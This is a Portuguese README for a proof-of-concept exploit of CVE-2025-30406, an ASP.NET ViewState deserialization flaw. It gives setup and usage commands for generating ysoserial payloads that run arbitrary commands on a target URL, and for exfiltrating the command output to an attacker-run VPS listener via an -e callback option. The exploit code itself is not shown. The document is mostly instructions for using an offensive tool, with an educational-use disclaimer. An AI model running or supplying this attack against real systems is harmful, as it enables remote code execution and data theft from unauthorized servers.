
CVE-2025-30406 ViewState Exploit PoC
Este é um script de Prova de Conceito (PoC) que demonstra uma exploração de desserialização do ViewState para CVE-2025-30406 em aplicações ASP.NET. Ele utiliza o ysoserial para gerar um payload malicioso do ViewState e o envia para uma URL especificada pelo utilizador, a fim de executar um comando fornecido. Para melhores resultados, a saída do comando pode ser exfiltrada para um servidor HTTP personalizado (server.py) executado numa VPS, que exibe os resultados num formato estilizado com timestamps, prompts verdes e texto de saída branco. Este script destina-se apenas a fins educacionais e deve ser utilizado unicamente em sistemas onde tenha autorização explícita para realizar testes de segurança. O uso não autorizado é ilegal e antiético.
exploit.py: O script PoC principal para gerar e enviar o payload do ViewState.server.py: Um servidor HTTP para receber e exibir a saída do comando exfiltrado num formato estilizado.README.md: Este ficheiro, com instruções de configuração e utilização.requests (pip install requests)server.py (recomendado para exfiltração)git clone https://github.com/yourusername/cve-2025-30406-poc.git
cd cve-2025-30406-poc
pip install requests
exploit.py ou especifique o seu caminho:
Para receber a saída do comando exfiltrado num formato estilizado, execute server.py numa VPS:
server.py para a sua VPS (ex.: via scp):
scp server.py user@your-vps-ip:/home/user/
sudo apt update && sudo apt install python3 python3-pip
python3 server.py
sudo ufw allow 8000
http://your-vps-ip:8000) para usar com o parâmetro -e no exploit.py.Execute exploit.py com os argumentos necessários. O parâmetro -e é opcional, mas altamente recomendado para exfiltrar a saída do comando para o server.py e obter uma exibição estilizada.
python exploit.py -u <target_url> -c <command> [-y <ysoserial_path>] [-e <callback_url>]
-u, --url: URL alvo (ex.: http://target.com/page.aspx) [Obrigatório]-c, --command: Comando a executar (ex.: whoami) [Obrigatório]-y, --ysoserial: Caminho para o executável ysoserial (padrão: ./ysoserial.exe) [Opcional]-e, --exfil: URL de callback para exfiltrar a saída do comando (ex.: http://your-vps:8000) [Opcional]python exploit.py -u http://example.com/loginpage.aspx -c "whoami" -y ./ysoserial.exe
server.py (recomendado):
python exploit.py -u http://example.com/loginpage.aspx -c "whoami" -y ./ysoserial.exe -e http://your-vps:8000
Na sua VPS ou máquina local, inicie o servidor HTTP para receber a saída exfiltrada:
python3 server.py
O servidor exibirá a saída do comando com timestamps, um prompt verde $ e texto branco para legibilidade.
exploit.py):
-e for fornecido, o comando é encapsulado para capturar a saída e enviá-la para a URL de callback via Invoke-WebRequest.__VIEWSTATE.server.py):
$ e texto de saída branco.-e.Este projeto está licenciado sob a Licença MIT. Consulte o ficheiro LICENSE para obter mais detalhes.
Para perguntas ou feedback, por favor, abra uma issue neste repositório.